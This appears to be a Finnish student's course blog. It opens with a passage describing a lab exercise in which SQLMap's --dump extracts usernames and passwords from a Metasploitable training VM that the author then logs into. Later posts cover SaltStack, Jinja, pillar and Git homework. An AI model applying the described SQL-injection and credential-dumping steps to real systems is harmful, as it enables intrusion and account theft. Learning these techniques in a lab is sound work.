Kun shell on käynnistetty, annetaan komento –dump. –dump suorittaa saman testauksen, kuin aikasempi, mutta tällä kertaa SQLMapin omassa shellissä. Ohjelma saattaa kysellä, että testataanko lisää asioita ’user’ parametrin jälkeen. Vastasin näihin Y, kunnes ohjelma näyttää injektiomahdollisuudet, ja kysyy mikä valitaan. Opas ei kommentoi tätä vaihetta mitenkään, joten ehkä molemmat näistä vaihtoehdoista käy. Valitsin vaihtoehdon [0], Roopen blogin mukaan. Tällä ei luultavasti olisi ollut väliä, koska ohjelma väittää molempien vaihtoehtojen olevan injektiopointteja.

Homma onkin tällä näköjään selvä, SQLMap osaa tämän perusteella heittää ruutuun listan käyttäjistä ja niiden salasanoista. Kokeilun vuoksi käynnistän Metasploitable koneen Virtualboxin kautta, ja yritän kirjautua sisään jollakin näistä:

Ja hommahan lähti toimimaan. Nyt olemme siis saaneet ajettua automatisoidun SQL injektion SQLMapin kautta. Saimme kaivettua tietokannan käyttäjistä kuten aiemmin, mutta myös salasanat. Kokeilimme salasanojen toimintaa koneella, ja pääsimme kirjautumaan sisään.

———————————–

Loppuajatuksia:

 

Haastavinta harjoituksessa oli harjoitusympäristön käyttöönotto, vaikka se tuntuukin uskomattomalta. Lähdin liikkeelle niin, että yritin Windows koneella virtualisoida Xubuntun, ja taas sen sisälle tuon vagrant metasploitable boksin, mutta se ei tietenkään onnistu koska virtualisointia virtualisoinnin sisällä. Koitin monia kombinaatioita Kalin ja Xubuntun kanssa, myös oikealla läppärillä.

Useiden tuntien jälkeen lähimmäksi pääsin, kun sain vagrantin pystyyn, ja sain avattua tuon localhost:8080 onnistuneesti. Suuri osa ajasta meni sen ihmettelemiseen, kun mietin, että miten esim. nmap pääsisi skannaamaan tuon vagrant koneen portit, kun se pyörii paikallisen koneen portissa 8080. Nyt jälkikäteen, onhan se selkeää, kun ajattelee, että vagrant koneen liikenne kulkee vain tämän 8080 portin kautta. Lisäksi sotkin tähän Virtualboxin ilman vagrantia, ja sekin sekotti pakkaa. Tähän hölmöilyyn kului kuitenkin valitettavan paljon aikaa. Uskon, että tämän temppuilun jälkeen tulevat tehtävät tulevat menemään ainakin valmistelun osalta paljon helpommin, ja pääsen oikeasti asiaan huomattavasti nopeammin.

Seuraavana päivänä juttelin Roopen kanssa (blogi linkattu ylempänä) tästä, ja saimme koottua ajatuksia siten, että pystyimme molemmat jatkamaan omien ongelmiemme kanssa. Kun sain SQLMapin tutkailemaan tuota konetta, loput harjoituksesta sujui mukavasti.

Haluaisin vielä yrittää tunkea sisään jatkossa jonkun payloadin Metasploitin kautta, mutta sitä pitää tutkia myös lisää, ennen kuin lähden sekoilemaan.  Tai sitten ehkä jossain toisessa harjoituksessa.

 

Posted in Uncategorised | Leave a comment

Palvelinten hallinta – kurssityö sekä h6

Kurssityön tehtävänä oli asentaa jokin vapaasti valittava ohjelma  Saltin kautta. Valitsin aiheekseni pilvipalvelu NextCloudin asentamisen.

Ohessa linkki projektiin GitHubissa:

https://github.com/Miikkb/nextcloudwithsalt

Tässä myös video, missä esittelen lyhyesti tilan toiminnan:

c) Käyttäjäryhmä:

Moduuli sopii henkilöille, jotka haluavat testimielessä kokeilla oman pilvipalvelun asentamista. Tilaa on myös hyödyllistä käyttää tilanteissa, missä tarvitaan pikaisesti pilvipalvelutilaa, kuten esimerkiksi tilanteessa, jossa pitää siirtää tiedostoja netin välityksellä.

Lopuksi lyhyt tekstiarvostelu luokkatoverin moduulista: https://github.com/kristiansyrjanen/teamspeak3-salted, Kristian Syrjäsen TeamSpeak 3 palvelimen asennus.

Heti aluksi tilasta voi sanoa, että README.md selittää sen toiminnan ja tekoprosessin hyvin. Ei jää epäselväksi, mitä tila oikeasti tekee. Asennusprosessi etenee loogisessa järjestyksessä, ensiksi asennetaan ja konfiguroidaan asennukseen tarvittavat ohjelmat, eli siis salt-master ja salt-minion.

Ennen itse TeamSpeakin asennusta tila varmistaa, että palomuuri on asennettu, ja syöttää omat porttitietonsa hyväksyttyjen listalle. Tiedot lisätään mielenkiintoisesti .rules tiedostoina, eikä vain komentoriville syötettävinä komentoina, kuten esim. sudo ufw allow xxxx.

Kristianin tila hoitaa TeamSpeakin asennustiedostojen käsittelyn paljon järkevämmin kuin minä omassa tilassani. Erona tosin se, että itse yritin hoitaa sitäkin salt staten kautta, kun taas Kristian tekee sen bash-skriptin kautta, jolloin se näyttäisi olevan yksinkertaisempaa.

Koko prosessi näyttää tilan kautta melko vaivattomalta. Asennus on tehty helpoksi. Se on hiukka erikoista, että asennus toimii vain livetikulta, mutta ilmeisesti sitä on yritettykin korjata melkolailla.

Tila näyttäisi toimivan oikein siitä huolimatta. Kehitysmahdollisuutena tietysti se, että tilan voisi ajaa muullakin koneella kuin livetikulla.

Posted in Uncategorised | 3 Comments

Palvelinten hallinta – h5

http://terokarvinen.com/2018/aikataulu-%e2%80%93-palvelinten-hallinta-ict4tn022-4-ti-5-ke-5-loppukevat-2018-5p#h5

Tehdään viides tehtävä, tarkoituksena on valita aihe kurssityölle, julkaista MarkDownilla raportti sekä suorittaa jokin salt suoraan gitistä.

Teen harjoituksen virtuaalipalvelimellani, jossa pyörii Ubuntu 16.04.4. Muodostan hallintayhteyden SSH:lla.

a) Varasin aiheen NextCloudin asennuksen.

b) Seuraavaksi julkaistaan MarkDownilla raportti GitHubiin.

Aloitetaan tekemällä tyhjä GitHub repo.

Kun on kirjauduttu sisään, voidaan uusi repo tehdä aloitussivulta, New repository.

Harjoituksessa tein repon nimeltä Harkka, tein siitä yksityisen ja lisäsin lisenssiksi GPL v3, jotta repo ei ole täysin tyhjä.

Tehdään kotihakemistoon uusi kansio, harkka.

$ mkdir harkka && cd harkka

Jotta saadaan git tulille, ajetaan komennot:

$ git init && git add .

Nyt git hakemisto on luotu. Kirjoitetaan README tiedosto MarkDownia hyväksikäyttäen.

$ nano README.md.

Tiedosto sisältää seuraavan:

This is a README file created with MarkDown.

MarkDown is enabled automatically, when the file ends with .md.

# Hello

## Hello

### Hello

Line

*****

Line

Tehdään vielä huvinvuoksi tyhjä tekstitiedosto, jotta saadaan lisää commitattavaa.

$ touch foo.txt

Lisätään muutokset committiin, tehdään commit, ja tungetaan muutokset gittiin:

$ git add . && git commit

$ git pull && git push

Nyt kun muutokset on ajettu gittiin, yhdistetään tehty git GitHubiin.

Tämä tapahtuu seuraavasti:

$ git remote add origin https://github.com/Miikkb/Harkka

$ git remote -v

$ git push origin master

Jos kaikki on mennyt onnellisesti oikein, GitHubissa pitäisi olla luodut tiedostot:

Homma toimii, ja MarkDownilla tehty raportti näkyy READMEnä.

Seuraavaksi c):

Käytän tehtävän pohjana omaa Sirottimen kaltaista tilaa, joka on kesken ja huomattavasti pienempi.

GitHubista repo voidaan ladata komennolla:

$ git clone https://Miikkb/Miikkb

Kun repo on kloonattu, ajetaan tila ohjeiden mukaisesti:

$ sudo bash run.sh

Salt asennetaan tilan mukana jos sitä ei ole, ja salt ilmoittaakin, että 5 muutosta onnistui. Listaa selaamalla selviää, että kun on ajettu komento sudo apt update, niin app-repositoryn tiedot ovat päivittyneet.

Tila on kloonattu GitHubista ja ajettu onnistuneesti.

Posted in Uncategorised | Leave a comment

Palvelinten hallinta – h4

H4

http://terokarvinen.com/2017/multiple-virtual-computers-in-minutes-vagrant-multimachine

http://terokarvinen.com/2018/aikataulu-%e2%80%93-palvelinten-hallinta-ict4tn022-4-ti-5-ke-5-loppukevat-2018-5p#h4

Tehtävänä on tehdä kahdella orjalla esimerkki, jossa orjat saavat eri muuttujan pilarista. Tarkista ‘pillars.items’, että kummallekin orjalle mene eri tieto.

Harjoitus tehdään omalla koululäppärillä, jossa Xubuntu 16.04.4, vagrantia hyväksikäyttäen. Orjat siis tehdään vagrantin kautta virtuaalisesti. Ohjeet vagrantin käyttöönottoon löytyy Tero Karvisen sivulta http://terokarvinen.com/2017/multiple-virtual-computers-in-minutes-vagrant-multimachine.

Tehdään tehtävä niin, että tmp kansioon ilmestyy molemmalle orjalle tiedosto, mutta tiedoston sisältö on orjilla eri. c) kohta vaatii, että tilaan lisätään oletusarvo, mikäli jollekkin orjalle ei anneta omaa arvoa pilarin kautta. Tehdään kohta c) samalla, kuin b).

Aloitetaan tekemällä kansiot ja tarvittavat tiedostot:

$ sudo mkdir /srv/salt/pillartest

$ sudo nano /srv/salt/pillartest/init.sls

/tmp/pillartest.txt:
  file.managed:
    - source: salt://pillartest/pillartest.txt
    - template: jinja
    - context:
      sana: {{ pillar.get(’sana’, lintu) }}

Lintu täyttää siis oletusarvon virkaa, mutta tässä vaiheessa kaikille orjille annetaan arvo pilarin kautta, joten sitä ei pitäisi näkyä missään.

Ennen pillarien tekemistä, tehdään pillartest.txt:

$ sudo nano /srv/salt/pillartest/pillartest.txt

Sup! This file is called pillartest. Here's a test word:

sana: {{ sana }}

Tehdään seuraavaksi pillar kansio, ja sinne top.sls tiedosto:

$ sudo mkdir /srv/pillar

$ sudo nano /srv/pillar/top.sls

base:
  vagrant1
    - vagrant1
  vagrant2
    - vagrant2

Tehdään molemmille .sls tiedostot:

$ sudo nano vagrant1.sls

sana: kissa

$ sudo nano vagrant2.sls

sana: koira

Kun tiedostot ja kansiot on tehty, voimme kokeilla toimintaa komennolla:

$ sudo salt ’*’ state.apply pillartest

Ruutu täyttyy vihreästä ja sinisestä tekstistä, joten kaikki on oletettavasti mennyt nappiin. Tarkistetaan tilanne orjakoneilta:

Pillareita on siis hyödynnetty oikein, orjille on mennyt eri sana.

Tässä vaiheessa kohta b) on täytetty, c) kohdan voimme luultavasti tehdä niinkin helposti, kuin että poistamme vagrant2.sls tiedoston. Silloin orjan pitäisi käyttää oletusarvoa, joka on lintu.

Poistettuani tiedoston yritin ajaa tilan uudestaan, ja kakkosorja heittää virheviestiä, joka on seuraava:

Rendering SLS ’base:pillartest’ failed: Jinja variable ’lintu’ is undefined

Koska ainoastaan kakkosorja heittää virhettä, se luultavasti johtuu siitä, että oletusarvoa ei jostain syystä lueta oikein. Luonnollisesti tiedostoissa ei ole tapahtunut mitään muutosta.

Konsultoin Jaakko Veijosta, http://veijonen.com, joka huomautti init.sls tiedostoni sisällöstä: oletusarvo lintu tulisi myös laittaa hipsuihin, eli ’lintu’. Jätin alunperin hipsut laittamatta, koska seurasin viimetunnilla käytyjä esimerkkejä, joissa ssh:n porttia vaihdettaessa oletusarvo 22 kirjoitettiin ilman hipsuja. Arvelen, että hipsuja ei tarvita mikäli oletusarvo on numero, sen ollessa string, hipsut tarvitaan.

Korjattu init.sls näyttää siis tältä:

/tmp/pillartest.txt:
  file.managed:
    - source: salt://pillartest/pillartest.txt
    - template: jinja
    - context:
      sana: {{ pillar.get(’sana’, ’lintu’) }}

Korjattuna tila menee läpi, ja näyttää seuraavalta:

Tehtävä c) on siis suoritettu.

Posted in Uncategorised | Leave a comment

Blogin siirto valmis / Blog transfer complete

Postaukset on siirretty uudelle sivulle. Uudella sivulla näkyy, että jokainen postaus olisi tehty yhdessä päivässä, mikä ei tietenkään pidä paikkaansa, joten lisään postauksiin alkuperäiset päivämäärät.

Posts have now been moved to the new site. The dates on the posts are wrong, because I moved them on the same day, so I will include the original dates in them.

Posted in Uncategorised | Leave a comment

Palvelinten hallinta h3

H3

http://terokarvinen.com/2018/aikataulu-%e2%80%93-palvelinten-hallinta-ict4tn022-4-ti-5-ke-5-loppukevat-2018-5p#h3

Käytän tehtäviin Masterina vuokrattua virtuaalipalvelinta, jossa Ubuntu 16.04.4. Minionina toimii koululäppäri tuoreelta livetikulta, jossa Xubuntu 16.04.3.

Aloitetaan tilanteesta, missä hallintasuhde on jo muodostettu.

HUOM. WordPress on hyvä tuhoamaan sisennyksiä, kiinnitä huomiota niihin, mikäli kopioit tekstiä suoraan. Sisennys = 2 väliä.

 

b)

Tehdään kohtaa varten oma kansio, jinja1:

$ sudo mkdir /srv/salt/jinja1

Jonne seuraavat tiedostot:

$ sudo touch /srv/salt/jinja1/init.sls && sudo touch /srv/salt/jinja1/testi.txt

Init.sls tiedoston sisällöksi laitamme seuraavan:

{% for file in ['testi.txt'] %}

/tmp/testi/{{ file }}:
  file.managed:
    - source: salt://jinja1/testi.txt
    - makedirs: True
  - template: jinja
  - context:
  file: {{ file }}

{% endfor %}

Koodin pitäisi paikata jokainen {{ file }} tekstillä testi.txt, eli siis sen pitäisi luoda tiedosto testi.txt.

Tehdään testi.txtille sisältöä:

This is {{ file }}!

Kokeillaan tilaa:

$ sudo salt ’*’ state.apply jinja1

Tiedosto on ilmestynyt onnistuneesti, joten tila toimii.

c)

Kohdassa c) tehdään lähes samaa, mutta kerralla useampia tiedostoja. Muokataan aikaisemmin tehtyä tiedostoa init.sls:

{% for file in ['testi.txt', 'joonas.txt', 'marko.txt', 'kissa.txt', 'tero.txt'] %}

/tmp/testi/{{ file }}:
  file.managed:
    - source: salt://jinja1/testi.txt
    - makedirs: True
    - template: jinja
    - context:
    file: {{ file }}

{% endfor %}

Muokataan vielä tiedostoa testi.txt, jotta tiedämme että muutos on oikeasti tapahtunut:

For loops with jinja

This is {{ file }}!

Nyt tilan pitäisi luoda 4 uutta tiedostoa, ja muokata viimeksi tehtyä testi.txt tiedostoa.

Kokeillaan samalla komennolla kuin aikaisemminkin:

$ sudo salt ’*’ state.apply jinja1

Tila menee läpi ja tiedostot muuttuvat, homma siis toimii.

d)

Seuraavaksi pitää konfiguroida SSH-demoni toiseen porttiin jinjan avulla. Tehdään aluksi uusi kansio:

$ sudo mkdir /srv/salt/jinja2 && cd /srv/salt/jinja2

Kopioidaan sshd_config tiedosto, jotta voidaan tehdä muutoksille pohja:

$ sudo cp /etc/ssh/sshd_config /srv/salt/jinja2/

Muutetaan tiedoston sisällä porttinumero 1337:ksi.

Laitetaan init.sls tiedosto kuntoon:

{% for port in ['1337'] %}

ssh:
  pkg.installed

/etc/ssh/sshd_config:
  file.managed:
  - source: salt://jinja2/sshd_config
  - makedirs: True
  - template: jinja
  - context:
  file: {{ port }}

{% endfor %}

Tiedostoa ajettaessa salt heittää parsing erroria, virheilmoituksen saat näkyviin oheisesta painikkeesta :

 

Tutkittuani virhettä, löysin seuraavan keskustelun:

https://github.com/saltstack/salt/issues/8549

Sivu neuvoi kiinnittämään huomiota tiedoston sisennyksiin, mutta mielestäni se oli kunnossa, joten arvelen virheen johtuvan context: kentästä. Pyörittelin myös muita ratkaisuja, joita etsin sivulta http://terokarvinen.com/2018/make-a-million-of-those-jinja-templating-salt-states, niin että lopulta tiedosto näytti tältä:

{% for port in ['1337'] %}

ssh:
  pkg.installed

/etc/ssh/sshd_config:
  file.managed:
    - source: salt://jinja2/sshd_config
    - makedirs: True
    - template: jinja
    - context:
    port: {{ port }}

{% endfor %}

Luulen, että tarkemmin vika johtui context: kentästä. En täysin ymmärrä, mistä ensimmäinen port tulee, mutta {{ port }} on looginen. Joka tapauksessa tila meni onnistuneesti läpi korjattuna.

Testataan yhdistämistä paikallisesti livetikkukoneelta, jotta vältytään porttien avaamiselta

Minionilla:

$ ssh xubuntu@xubuntu -p 1337

Yhteys menee läpi ja kysyy salasanaa, tila siis asentaa SSH:n oikein ja muuttaa portin 1337:ksi.

e)

Lopuksi kokeillaan toisen opiskelijan tekemää salt-tilaa.

Lainaan Jaakko Veijosen tilaa, jossa asennetaan ja konfiguroidaan sysstat.

http://veijonen.com/h2p.html

Toimin raportoinnin mukaan.

Raportoinnista valitan sen verran, että itseäni ärsyttää se, etten pysty dokumentoinnin perusteella toimimaan suoraan, sillä raportointi jättää mahdollisuuden käyttäjävirheisiin esimerkiksi kohdassa:

Kopioin /etc/default/sysstat -tiedoston /srv/salt/sysstat -kansioon nimellä “default”, ja /etc/cron.d/sysstati:in samaan kansioon nimellä “cron.d”.”

Ohjeet käyvät kansioluonnit melko nopeasti, ja jää hieman epäselväksi, miten kansiorakenne oikeasti menee. Sysstat kansion init.sls tiedostossa tuntuu olevan pieniä ristiriitoja raportoinnin kanssa.

Mielestäni raportoinnin olisi helposti voinut tehdä niin, että annetut komennot tekevät kansiot automaattisesti niin, että lukijan täytyy apinoida komennot, ja asiat toimivat suoraan.

Keskusteltuani asiasta Jaakon kanssa, tulimme siihen tulokseen, että ohjeet ovat hiukka epäselvästi kirjoitettu ja ymmärsin niitä väärin.

Joka tapauksessa, viilasin init.sls tiedoston ja kansiorakenteen sellaiseksi, kuin miten sen itse ymmärsin ja sen perusteella tekisin:

sysstat:
  pkg.installed

/etc/default/sysstat:
  file:
    - managed
    - source: salt://sysstat/default/sysstat

/etc/cron.d/sysstat:
  file:
    - managed
    - source: salt://sysstat/default/cron.d

sysstatservice:
  service.running:
    - name: sysstat
    - watch:
      - file: /etc/default/sysstat
      - file: /etc/cron.d/sysstat

 

Kansiorakenne on seuraava:

/srv/salt/
├── jinja1
│   ├── init.sls
│   └── testi.txt
├── jinja2
│   ├── init.sls
│   └── sshd_config
├── sysstat                       
│   ├── default             
│   │   ├── cron.d     
│   │   └── sysstat  
│   └── init.sls
└── top.sls

Muokattuna tila toimii. Luultavasti tila olisi myös toiminut Jaakon tavalla, mikäli tiedostot saa oikeille paikoilleen, toisin kuin itse sain.

Posted in Uncategorised | Leave a comment